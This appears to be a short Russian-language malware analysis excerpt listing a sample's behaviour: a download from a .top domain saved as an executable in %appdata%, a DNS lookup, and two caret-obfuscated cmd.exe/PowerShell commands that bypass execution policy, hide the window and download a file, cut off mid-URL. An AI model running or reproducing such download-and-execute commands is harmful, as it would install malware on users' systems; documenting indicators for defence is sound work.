Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pOwersHE^l^l^.^eXE -^EXe^Cu^TIONpOlic^y byP^AS^s ^-^No^pRO^fILe -wi^N^DowsTY^le^ Hid^dEN (^NEw^-oBj^ECt ^Sy^StEm.NE^T.w^E^b^c^Li^En^t^).D^O^wNL^O^ad^FI^l^e^('http://www.zoe...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "pOwersHE^l^l^.^eXE -^EXe^Cu^TIONpOlic^y byP^AS^s ^-^No^pRO^fILe -wi^N^DowsTY^le^ Hid^dEN (^NEw^-oBj^ECt ^Sy^StEm.NE^T.w^E^b^c^Li^En^t^).D^O^wNL^O^ad^FI^l^e^('http://www.zoe...' (со скрытым окном)